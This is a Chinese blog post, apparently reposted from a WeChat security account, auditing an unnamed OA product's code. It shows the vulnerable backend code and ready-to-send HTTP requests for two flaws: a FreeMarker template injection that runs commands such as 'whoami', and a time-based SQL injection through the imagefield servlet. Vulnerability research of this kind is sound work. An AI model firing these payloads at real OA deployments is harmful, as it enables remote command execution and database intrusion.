此OA听过,但从来没有去研究过,所以简单分析研究一下,发现此OA并不复杂且因为闭源的原因所以分析起来比较轻松。
模板注入
查看JSP文件通过Template名字或者一些代码信息能够发现是以模板的形式进行参数传递,并且对路径需要的传参也给出来了,分别为moduId,code,uuid
通过搜索viewConTemplate定位后端处理该消息的代码
通过上图所示可以发现viewConTemplate函数对该请求进行处理,首先通过if条件语句判断临时模板目录是否存在,如果不存在则新建目录以uuid命名以ftl后缀为文件
try { String sameName = this.uuid + ".ftl"; File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR); if (!file.exists()) {file.mkdirs();} out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
然后通过get请求传入code参数并对code参数中传入的敏感字符进行编码替换
out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName); String code = this.request.getParameter("code"); code = URLDecoder.decode(code, "UTF-8"); code = code.replaceAll("<", "<").replaceAll(""", """).replaceAll("'", "'").replaceAll(">", ">").replaceAll(" ", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&", "&");
最后通过字节流的形式写入为临时文件中
byte[] b = code.getBytes();
out.write(b);
out.flush();
然后通过模板渲染功能调用刚刚写入临时文件中的数据
通过调用FreemarkerConfiguration类中的getTemplateTemp()静态方法取出临时文件数据
读取临时文件内容并渲染成frremaker模板,因为我们的code参数可控从而造成模板注入漏洞,我们可以构造如下payload
code=${"freemarker.template.utility.Execute"?new()("chdir")}
上述payload我们使用的freemaker自带的Execute类中自带的命令执行函数,如下图所示,具体可以参考github
根据前端页面接收的所有参数把uuid,moduId传参进行请求,参数任意即可
数据包如下:
POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
moduId=1&code=${"freemarker.template.utility.Execute"?new()("whoami")}&uuid=1
SQL注入
这个漏洞好像是一个通用组件漏洞,用友时空也存在该漏洞
通过请求接口名去搜索后端处理处理的代码
如上如可发现接收参数很多,且我们通过分析发现readimage函数存在SQL执行语句看样子没有然和过滤限制等问题
我们再回头来看imagefield文件发现如果要进入readimage逻辑进行处理需要strKey等于readimage,那么我们可以发现strKey为key字段且通过GET请求进行传参处理
且通过上述分析readimage函数中的SQL语句可以知道需要四个参数,并且该四个参数都可以通过GET请求传参,但是其中有一个问题就是sTablename需要指定表名,不过一般数据库都有自带的表名和数据库名因此也不算啥大问题
最终payload如下:
POST /jc6/servlet/imagefield HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Length: 158
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 77
key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR
DELAY '0:0:3'--
原文始发于微信公众号(Web安全工具库):某OA代码审计过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论